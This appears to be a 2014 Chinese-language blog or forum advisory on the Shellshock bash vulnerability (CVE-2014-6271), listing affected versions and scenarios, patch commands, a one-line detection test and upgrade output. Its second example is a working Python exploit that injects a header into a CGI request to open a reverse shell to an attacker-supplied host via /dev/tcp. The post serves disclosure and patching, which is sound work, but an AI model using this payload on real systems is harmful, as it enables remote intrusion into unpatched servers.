Bash 安全性問題「SHELLSHOCK」: 2014 九月底發現，請儘速更新修補 2014-09-26 13:16
分類: ✔️CVE-2014-6271 ✔️include
個人: ✔️CVE-2014-6271 ✔️include
分類: ✔️CVE-2014-6271 ✔️include
個人: ✔️CVE-2014-6271 ✔️include
/ / /
Bash Security Bugs: 2014 九月底發現，請儘速更新修補
（尤其是有 CGI-BIN bash 服務的 server
簡稱：ShellShock （當然，給他一個和 HeartBleed一樣的名字）
ShellSHock 影響： All Unix/Linux/BSD/MacOS/Windows 有用 bash 都會受到影響
ShellShock BASH 影響版本：
=> bash 1.14 ~ bash 4.3 （幾乎接近是 zero-day bug）
參考：
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
http://seclists.org/oss-sec/2014/q3/666
修補很簡單：
@ Ubuntu / Debian
$ apt-get update;apt-get upgrade
$ apt-get update && sudo apt-get install --only-upgrade bash (單純更新 bash)
@ Fedora/CentOS/Fedora
$ yum update
$ yum update bash (只更新 bash)
當然，「安全」的前提是，還沒被用此漏洞入侵。
漏洞可能影響的 scenario
1. Apache HTTP Servers (mod_cgi and mod_cgid) + Bash CGI scripts
2. 特定的 DHCP clients
3. OpenSSH server 使用 "ForeceCommand 參數"
4. 相關網路服務，其 path 中有使用到未 patch 的 bash
Q: 如何偵測？
最簡單的 Sample Code，如下面這一行，如果你會看 "vulnerable" 被印出來，
然後才看到 this is a test
那就代表 bash 有 security bug
代碼:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Example Code #2:
代碼:
#
#CVE-2014-6271 cgi-bin reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
exit(0)
conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
headers = {"Content-type": "application/x-www-form-urlencoded",
"test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data
Example Code #3:
代碼:
$ gcc bug.c
$ env TERM='() { :;}; echo vulnerable' a.out
vulnerable
#include <stdlib.h>
int main(void)
{
return system("cat bug.c");
}
Update your Ubuntu/Redhat/Fedora/Debian
代碼:
$ ls -al /bin/bash
-rwxr-xr-x 1 root root 959120 Mar 29 2013 /bin/bash
$ apt-get update
$ apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages have been kept back:
linux-image-virtual
The following packages will be upgraded:
apt apt-utils bash dbus firefox-locale-en libapt-inst1.4 libapt-pkg4.12
libdbus-1-3 libnss3 libnss3-1d
10 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Need to get 5,421 kB of archives.
After this operation, 10.2 kB of additional disk space will be used.
Do you want to continue [Y/n]?
% ls -al /bin/bash
-rwxr-xr-x 1 root root 959120 Sep 23 04:39 /bin/bash
bash-bug-2014-09-23.jpg
________________
美術插畫設計案子報價系統 v0.1 Beta
爪哇禾雀
